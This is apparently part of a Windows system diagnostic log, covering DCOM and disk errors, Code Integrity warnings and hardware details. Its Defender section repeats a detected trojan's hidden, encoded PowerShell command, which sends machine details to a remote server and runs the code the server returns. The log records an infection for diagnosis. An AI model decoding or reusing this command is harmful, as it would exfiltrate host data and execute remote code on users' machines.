{ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:08 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:07 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:07 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:06 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:06 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:06 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (08/05/2026 03:06:06 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: {ED215C26-C810-49CE-929E-31D7E83A82E9} as Unavailable/Unavailable. The error: "2147942852" Happened while starting this command: "C:\Program Files (x86)\Microsoft\Copilot\Application\mscopilot_proxy.exe" -Embedding Error: (07/26/2026 11:03:52 AM) (Source: disk) (EventID: 11) (User: ) Description: The driver detected a controller error on \Device\Harddisk0\DR0. Windows Defender: ================ TimeCreated : 8/4/2026 9:26:39 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:24:39 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:22:39 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:20:39 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:18:38 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:16:38 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:14:38 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) TimeCreated : 8/4/2026 9:12:38 PM (Message : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.) (For more information please see the following:) (https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Commando.A!ml&threatid=2147840094&enterpr) (ise=0) (Name: Trojan:Win32/Commando.A!ml) (ID: 2147840094) (Severity: Severe) (Category: Trojan) (Path: CmdLine:_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -enc JAB1) (AHIAbAAgAD0AIgBoAHQAdABwAHMAOgAvAC8AMgAyAHQAdQBrAC4AZABpAGcAaQB0AGEAbAAvAG8AbgBsAGkAbgBlAC8AdABvAG8AawAuA) (HAAaABwACIAOwAkAGoAcwBvAG4AIAA9ACAAJwB7ACIAQgB1AGkAbABkACIAOgAwAC4AMwAsACIAUwBlAHMAcwBpAG8AbgBOAGEAbQBlAC) (IAOgAiAEMAbwBuAHMAbwBsAGUAIgAsACIASABXAEkARAAiADoAIgA3AGUAMQA5AGQANgAyADEANwAyAGUAYwA5ADEAMQAxADIAMgA3AGM) (AMQAwADIAMgBkADEANAAyADMAYwBkADUAIgAsACIAUAByAGkAdgBpAGwAZQBnAGUAcwAiADoAIgBVAHMAZQByACIALAAiAFUAcwBlAHIA) (TgBhAG0AZQAiADoAIgBVAEUAZABJAFUARgB4AFEAUgB3AD0APQAiACwAIgBVAHMAZQByAFQAeQBwAGUAIgA6ACIAVQBzAGUAcgAiACwAI) (gBTAEkARAAiADoAMQB9ACcAOwBpAHcAcgAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEIAbw) (BkAHkAIAAkAGoAcwBvAG4AIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgA) (iACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwBlAHgAaQB0ADsA) (Detection Origin: Unknown) (Detection Type: FastPath) (Detection Source: System) (Process Name: Unknown) (Security intelligence Version: AV: 1.455.509.0, AS: 1.455.509.0, NIS: 1.455.509.0) (Engine Version: AM: 1.1.26060.3008, NIS: 1.1.26060.3008) CodeIntegrity: =============== Date: 2026-08-05 03:12:10 Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files\Bonjour\mdnsNSP.dll that did not meet the Microsoft signing level requirements. Date: 2026-08-05 03:09:25 Description: Code Integrity determined that a process (\Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26070.9-0\MpDefenderCoreService.exe) attempted to load \Device\HarddiskVolume3\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements. Date: 2026-08-05 03:08:33 Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files\Bonjour\mdnsNSP.dll that did not meet the Windows signing level requirements. ==================== Memory info =========================== BIOS: Insyde F.30 12/09/2022 Motherboard: HP 8483 Processor: Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz Percentage of memory in use: 43% Total physical RAM: 12108.04 MB Available physical RAM: 6865.12 MB Total Virtual: 13964.04 MB Available Virtual: 8717.71 MB ==================== Drives ================================ Drive c: (WINDOWS) (Fixed) (Total:913.82 GB) (Free:535.84 GB) (Model: Intel Optane+932GBHDD) NTFS Drive d: (RECOVERY) (Fixed) (Total:15.68 GB) (Free:1.86 GB) (Model: Intel Optane+932GBHDD) NTFS ==>[system with boot components (obtained from drive)] \\?\Volume{bda3dcb5-b365-4e62-aa41-9a321588862c}\ () (Fixed) (Total:1.74 GB) (Free:0.84 GB) NTFS \\?\Volume{3c6fe2a4-140a-40d8-a881-309fa9d82b63}\ () (Fixed) (Total:0.25 GB) (Free:0.16 GB) FAT32 ==================== MBR & Partition Table ==================== ========================================================== Disk: 0 (Size: 931.5 GB) (Disk ID: A50E1C7D) Partition: GPT. ==================== End of Addition.txt =======================